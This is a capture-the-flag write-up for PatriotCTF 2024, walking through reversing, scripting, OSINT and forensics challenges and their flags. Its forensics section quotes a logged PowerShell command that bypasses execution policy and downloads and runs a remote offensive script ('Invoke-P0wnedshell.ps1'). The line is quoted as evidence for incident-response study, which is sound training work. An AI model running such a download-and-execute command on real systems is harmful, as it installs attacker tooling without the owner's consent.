Throughout the past weekend, I’ve played in the PatriotCTF 2024 event. Let’s get into it.
Rev
Password Protector
We’ve been after a notorious skiddie who took the “Is it possible to have a completely secure computer system” question a little too literally. After he found out we were looking for them, they moved to live at the bottom of the ocean in a concrete box to hide from the law. Eventually, they’ll have to come up for air…or get sick of living in their little watergapped world. They sent us this message and executable. Please get their password so we can be ready. “Mwahahaha you will nOcmu{9gtufever crack into my passMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ympword, i’ll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV”
To make better sense on the given message, let’s look at the executable first.
We’re given a .pyc file, which is a compiled Python file. We can easily decompile it using pylingual
Pylingual gives this output:
Let’s go back to the message, and structure it in a way to clearly see the variables:
Knowing this, we have our variables:
We can now reverse the process to get the password:
Puzzle Room
As you delve deeper into the tomb in search of answers, you stumble upon a puzzle room, its floor entirely covered in pressure plates. The warnings of the great necromancer, who hid his treasure here, suggest that one wrong step could lead to your doom.
You enter from the center of the eastern wall. Although you suspect you’re missing a crucial clue to guide your steps, you’re confident that everything you need to safely navigate the traps is already within reach.
At the center of the room lies the key to venturing further into the tomb, along with the promise of powerful treasures to aid you on your quest. Can you find the path, avoid the traps, and claim the treasure (flag) on the central platform?
This is a strange challenge. We’re given a gigantic .py file, containing a maze.
Let’s take a look at the code:
Let’s just play the game and see what happens:
(Keep in mind the names of the tiles, they will be important later on)
Alright, it’s a maze. What’s the goal?
Alright, so we need to get to the Shrine, without triggering any traps, and the only way we get the flag is if we walk on the correct tiles. Let’s (manually) try and pathfind ourselves to the shrine.
After a lot of trial and error, we can now map all safe routes to get to the Shrine.
So, we can see that there are two paths to the Shrine, one from the bottom (starting with SW), and one from the top (starting with NW).
It was at this point that I realized that there were far too many possible paths to the Shrine. Let’s go back to the drawing board.
Solution
Let’s go back. We know from the code that the flag is encrypted with AES, and the key is the names of the tiles we step on. We also know that the flag contains the string “pctf”. Let’s add some print statements, so we can see the key after each movement. Let’s modify the code:
Now, let’s play the game again:
So, for every step we take, the next tile’s name is appended to the key. Doesn’t this mean we can just bruteforce the key? If we know the constraints of the key, we can generate all possible keys and decrypt the flag with each key. So, what are the constraints?
- The key has to start with ‘vulture’
- The key cannot contain the same word twice
This looks feasible. Let’s write some code to generate all possible keys:
This code will generate all possible keys, and decrypt the flag with each key. If the flag contains “pctf”, we print the flag and the key. Let’s run this code:
Yeah, that’s it. The flag is pctf{Did_you_guess_it_or_apply_graph_algorithms?}
, and the key is vulturesnakearchplantbugstafffooturnShrine
.
I realized later on that it doesn’t matter the spot you walk into the Shrine, so I could literally have just walked straight to the Shrine, because there were only four squares to the Shrine. Oh well, it was fun to solve it this way.
Misc
Emoji Stack
Welcome to Emoji Stack, the brand new stack based emoji language! Instead of other stack based turing machines that use difficult to read and challenging characters like + - and [], Emoji Stack uses our proprietary patent pending emoji system.
The details of our implentation is below:
👉: Move the stack pointer one cell to the right 👈: Move the stack pointer one cell to the lef 👍: Increment the current cell by one, bounded by 255 👎: Decrement the current cell by one, bounded by 0 💬: Print the ASCII value of the current cell 🔁##: Repeat the previous instruction 0x## times
The Emoji Stack is 256 cells long, with each cell supporting a value between 0 - 255.
As an example, the program “👍🔁47💬👉👍🔁68💬👉👍🔁20💬” Would output “Hi!” with the following execution flow:
Author: CACI
This is just a stack based language. We can write a simple interpreter for this language. Here’s the code:
This code reads the program from a file called input.txt
, and interprets it. Let’s run this code:
Making Baking Pancakes
How many layers are on your pancakes? nc chal.pctf.competitivecyber.club 9001
We’re only given a netcat port. Let’s connect to it:
It’s a scripting challenge. We need to decode the base64 string and send it back. Let’s write a script for this:
This script works 90% of the time. Let’s just run it:
OSINT
Light warning, there is a lot of guessing in this category. I will try and explain my thought process as much as possible, but because it’s OSINT, it’s hard to be concrete.
On The Run
We’ve been tracking the adversary for weeks, and he just slipped up and posted this gorgeous high-rise view on his Twitter. His caption was “awesome meeting with a gorgeous view!” Can you track down his location?
Flag format will be PCTF{<business name of his location>}. Not a street address. If he were in a WeWork space, it would be PCTF{wework}.
This is a pretty simple challenge, where we’re supposed to find out the specific location of the image. We’ve been given a skyline, so we can easily use Google Lens to try and find potential matches..
The first result points towards Raytheon, but it’s not the flag and it’s a pretty global company, so we can’t narrow it down using that. The second result is a renting list.
We’ve been given the address of the function:
1800 North Lynn St., Arlington, VA 22209
It’s not a precise enough street address, so I used the third result, which is a yelp page, which gives us the exact address of the building.
(recognize the image?)
The flag isn’t The View of DC
because the company closed down in 2019. For some ironic reason, there is a WeWork space in the building, but the flag is actually PCTF{convene}
Phase One
We had one of our agents infiltrate an adversary’s lab and photograph a gateway device that can get us access to their network. We need to develop an exploit as soon as possible. Attached is a picture of the device. Get us intel on what MCU the device is utilizing so we can continue with our research.
Flag format: pctf{mcu_vendor_name} (example: pctf{broadcom}
On the image, we can clearly see DLINK DSL-6300V
written on the device. Let’s make a google search for "D-Link DSL-6300V"
.
There is a manual for the device, which is a rabbit hole. Don’t go there. The third result gives us the page for the modem on Deviwiki.
The flag is PCTF{ikanos}
.
Night School
It’s said that a famous geocacher has left a cache on our Fairfax campus. He took this picture before disappearing into the night. Could you help us find where this picture was taken? The flag is pctf{NAME_OF_STATUE}
The image is too dark to be able to use Google Lens, so we can focus on Fairfax campus
. As we know the campus is in Fairfax, and we know the univeristy is George Mason University, we can search for George Mason University statues
.
Irritatingly so, there is a large statue of George Mason himself, and searching for George Mason statue
gives us a statue of George Mason himself, and not any other statue on the campus. The entire statues website is filled with pictures of the George Mason statue, which further irritates us ctf players.
A lot of randomly clicking around, got me to discover-mason, which just so happens to have a picture of the statue in the image.
The flag is pctf{communitas}
.
Forensics
Bad Blood
Nothing is more dangerous than a bad guy that used to be a good guy. Something’s going on… please talk with our incident response team. nc chal.competitivecyber.club 10001 suspicious.evtx
Let’s connect to the nc server first:
We’re given an .evtx
file, which is an event log file for Windows. Luckily, windows has a built-in tool called eventvwr
which can be used to view these logs.
The file is filled with 465 logs, with most of them containing base64 encoded scripts, but the outlier is this “Execute a Remote Command” log:
Creating Scriptblock text (1 of 1):
Set-ExecutionPolicy Bypass -Score Process [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString
('https://raw.githubusercontent.com/IAMinZoho/OFFSEC-Powershell/main/Invoke-P0wnedshell.ps1'))
Okay, first question is answered. Let’s move on to the next one.
There is another log that contains a download of a script:
Let’s answer the question:
I wasn’t quite sure about this one, so I just guessed WinRM
.
I had absolutely no idea about this one, so I just used the awesome-command-control list, and made this script:
The flag is pctf{3v3nt_l0gs_reve4l_al1_a981eb}
.
Conclusion
I had very fun playing this CTF, so I’d like to thank George Mason University’s Competitive Cyber Club for hosting this CTF! Thank you so much for reading this (long overdue) writeup, and I hope to see you sometime soon!